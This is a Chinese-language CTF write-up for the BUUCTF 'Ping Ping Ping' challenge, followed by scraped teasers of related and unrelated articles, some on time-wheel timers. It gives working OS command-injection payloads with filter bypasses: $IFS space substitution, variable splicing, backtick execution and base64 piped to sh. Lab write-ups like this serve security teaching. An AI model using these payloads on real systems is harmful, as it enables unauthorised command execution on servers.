Buuctf (Web)Ping Ping Ping

article/2025/7/27 23:12:12

文章目录

  • 一.解题步骤
  • 二、命令分隔符
  • 三.常见绕过方式


一.解题步骤

(1)页面里显示/?ip=,很明显要以ping的形式传一个参数给ip,并且我们要想执行其他命令,就要用命令分隔符也就是管道符连接,命令分隔符可以用";“”|“”&"三种,本题经过尝试发现第一步查看目录过滤了|,&和空格。
这里介绍两种方式:
1.ping本地127.0.0.1
在这里插入图片描述
2.用||来代替127.0.0.1;
在这里插入图片描述
(2)虽然找到了放flag的文件,但是尝试后发现都不对,这里介绍一种思路,我们可以通过查看index.php的文件源码来查看源码,从而确认过滤了哪些东西,题目说过滤了命令连接符&,\,空格,*,bash,<>,flag,?,我们得想一些其他方法来绕过
在这里插入图片描述
(3)要想得到flag了,我们需要绕过过滤掉的东西
这里介绍三种可以解决的特殊绕过方式:
1.拼接绕过法

else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");

以上是题目给的绕过flag的源码,我们这里需要知道这是正则表达式匹配了ip的值中是否顺序出现了f、l、a、g四个字母。这样一来我们就可以拼接一个flag来绕过了,可以拼接f;lag fl;ag fla;g 但是这里需要注意:本题特殊就特殊在flag的字母顺序要不同(拼接绕过的一个大坑)

y=g;x=fla;$x$y
y=ag;x=fl;$x$y
y=lag;x=f;$x$y

构造payload:/?ip=||y=ag;x=fl;cat$IFS$9$x$y.php跑一下得到flag
在这里插入图片描述
2.内联执行法
可以看到代码没有过滤掉符号` 所以可以利用内联执行的方式直接打开flag文件,先执行命令ls,再把ls得到的文件名全部用命令cat打开,构建payload 跑一下,查看源码拿到flag

/?ip=127.0.0.1;cat$IFS$6`ls`或者/?ip=||cat$IFS$6`ls`

在这里插入图片描述
3. sh编码绕过法(base64编码)
使用方法:

echo 命令编码|base64 -d|sh

sh可以换成bash, 但是题目过滤掉了
也可以换成其他的编码形式,这里用base64的
空格用$IFS$6替换掉
cat flag.php 的base64编码为Y2F0IGZsYWcucGhw

构造payload , 相当于执行命令cat flag.php,跑一下,查看源码得到flag

/?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh
/?ip=||echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh

在这里插入图片描述


二、命令分隔符

1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位和),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑和),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、;(linux下有的,和&一样的作用)

三.常见绕过方式

此处特别鸣谢Yun 3a0
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述


http://chatgpt.dhexx.cn/article/KcdFSPyl.shtml

相关文章

BUUCTF之Ping Ping Ping

目录 审题 常用的空格绕过方法 解决方法 法一 拼接绕过法 法二 内联执行法 法三 sh编码绕过法 审题 点开链接 根据题目提示随便试试构造payload inurl?ip666 有返回&#xff0c;参数ip的值就是要ping的内容 这里我们知道有Windows和Linux通用的…

BUUCTF【Web】Ping Ping Ping

进入靶场后是一个ping的功能&#xff08;命令执行漏洞&#xff09;&#xff0c;参数ip传递的内容会被当做ip地址进行网络连通性测试。首先测试一下本机地址 首先使用ls命令查看当前路径下有那些文件&#xff0c;拼接符有“&”、“|”、“||”、“&&”、“&#xff…

BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http

目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Ping Ping Ping 启动靶机&#xff0c;构造payload ?ip127.0.0.1 查看同目录下有什么文件 ?ip127.0.0.1;ls 读取flag.php ?ip127.0.0.1;cat flag…

buuctf[GXYCTF2019]Ping Ping Ping

buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip&#xff1f; 应该是提示用get的方式来传参一个地址执行ping的操作 直接ping127.0.0.1 回显ping127.0.0.1的数据 说明是一道命令执行的题目 执行&#xff1a;?i…

xxl-job源码阅读——(六)调度线程与时间轮算法

文章目录 一. 时间对齐二. scheduleThread 调度线程三. ringThread 时间轮&#xff08;算法&#xff09;线程原理源码实现 本章介绍init()最后一个步骤&#xff0c;初始化调度线程。 另外 第六步的JobLogReportHelper.getInstance().start()只是做了一个日志整理收集&#xff0…

时间轮(七)

时间轮 Kafka 中存在大量的延时操作&#xff0c;比如延时生产、延时拉取和延时删除等。Kafka 并没有使用 JDK 自带的 Timer 或 DelayQueue 来实现延时的功能&#xff0c;而是基于时间轮的概念自定义实现了一个用于延时功能的定时器&#xff08;SystemTimer&#xff09;。JDK 中…

java 时间轮算法_时间轮算法(TimingWheel)是如何实现的?

前言 我在2. SOFAJRaft源码分析—JRaft的定时任务调度器是怎么做的&#xff1f;这篇文章里已经讲解过时间轮算法在JRaft中是怎么应用的&#xff0c;但是我感觉我并没有讲解清楚这个东西&#xff0c;导致看了这篇文章依然和没看是一样的&#xff0c;所以我打算重新说透时间轮算法…

Redis之时间轮机制(五)

&#x1f680; 优质资源分享 &#x1f680; 学习路线指引&#xff08;点击解锁&#xff09;知识定位人群定位&#x1f9e1; Python实战微信订餐小程序 &#x1f9e1;进阶级本课程是python flask微信小程序的完美结合&#xff0c;从项目搭建到腾讯云部署上线&#xff0c;打造一…

C++定时器和时间轮

文章目录 定时器最小堆实现定时器 时间轮单层级时间轮多层级时间轮 定时器 有些时候我们需要延迟执行一些功能&#xff0c;比如每10s进行一次数据采集。或者告知用户技能冷却有多少时间&#xff0c;如果我们将执行这些功能的任务交给主线程&#xff0c;就会造成主线程的阻塞。…

简单描述时间轮

时间轮 作用 也是用来作定时器触发任务&#xff0c;只是他更高效&#xff0c;时间复杂度为O(1)。 运行原理 为了方便理解我们参考钟表&#xff0c;它分为3个层次&#xff1a;时、分、秒&#xff0c;只有秒针在运动&#xff0c;走动一格时间为1秒&#xff0c;走一圈为1分钟&…

再谈时间轮

时间轮很早前就很流行了&#xff0c;在很多优秀开源框架中都有用到&#xff0c;像kafka、netty。也算是现在工程师基本都了解的一个知识储备了。有幸在工作中造过两次轮子&#xff0c;所以今天聊聊时间轮。 时间轮是一种高性能定时器。 时间轮&#xff0c;顾名思义&#xff0c…

时间轮原理及其在框架中的应用

一、时间轮简介 1.1 为什么要使用时间轮 在平时开发中&#xff0c;经常会与定时任务打交道。下面举几个定时任务处理的例子。 1&#xff09;心跳检测。在Dubbo中&#xff0c;需要有心跳机制来维持Consumer与Provider的长连接&#xff0c;默认的心跳间隔是60s。当Provider在3…

时间轮分析

背景 在需要完成重试机制或者心跳机制一类的业务&#xff0c;除了使用excutors做定时任务。还可以使用时间轮完成这类需求 分析 使用dubbo中的心跳重试作为案例分析时间轮的使用 源码分析 在HeaderExchangeClient启动的时候调用startHeartBeatTask()开启心跳任务&#xff0…

Netty时间轮

概述 时间轮是一个高性能&#xff0c;低消耗的数据结构&#xff0c;它适合用非准实时&#xff0c;延迟的短平快任务&#xff0c;例如心跳检测。在netty和kafka中都有使用。 比如Netty动辄管理100w的连接&#xff0c;每一个连接都会有很多超时任务。比如发送超时、心跳检测间隔等…

高性能定时器时间轮的实现

时间轮的概念 关于定时器有很多种&#xff0c;有基于升序的定时器时间链表&#xff0c;但是这种链表存在效率的不足&#xff0c;就是当插入定时器的时候时间复杂度是O(n).今天&#xff0c;我们来认识一下高性能定时器时间轮。 如上图所示&#xff0c;就是一个时间轮的基本轮廓…

深度剖析 -- 时间轮算法(TimingWheel)是如何实现的?

前言 时间轮的应用场景很多&#xff0c;在 Netty、Akka、Quartz、ZooKeeper 、Kafka等组件中都存在时间轮的踪影。我们下面讲解的时间轮的实现以JRaft中的为例子进行讲解&#xff0c;因为JRaft这部分的代码是参考Netty的&#xff0c;所以大家也可以去Netty中去寻找源码实现。 …

Kafka原理--时间轮(延时操作)

原文网址&#xff1a;Kafka原理--时间轮(延时操作)_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍Kafka的时间轮的原理。 Kafka没有延迟队列功能供用户使用&#xff0c;本文介绍的延时操作仅仅是Kafka内部的使用&#xff0c;用户无法使用。 Kafka延时操作 Kafka中存在大量的…

时间轮算法HashedWheelTimer

文章目录 一.HashedWheelTimer是什么?二.能干什么?为什么需要这个东西?优点适用场景 三.怎么用?使用步骤1.引入pom2.使用举例 四.时间轮原理五.使用注意点1.一个HashedWheelTimer对象只有一个worker线程2.每次添加的任务只会执行一次3.时间轮的参数非常重要4.所有的任务都是…

时间轮-理论篇

1. 引言 定时任务再开发过程中无处不在&#xff0c;定时发送消息&#xff0c;定时更新数据库表的状态&#xff0c;Linux系统定时执行脚本等等。这些操作都离不开定时任务&#xff0c;那么这些定时任务是怎么实现的是否又去想过。如果让开发者自己去实现一个定时任务又该怎么实…

定时任务的实现原理:时间轮算法

文章目录 前言时间轮定时使用方式时间轮定时内部原理时间轮定时源码剖析构造方法添加任务工作线程启动工作线程run方法指针跳动将队列任务放入时间轮中链表任务遍历定时任务执行 前言 最近在思考实现定时任务的几种方式&#xff0c;比如 quartz&#xff0c;delay queue&#xf…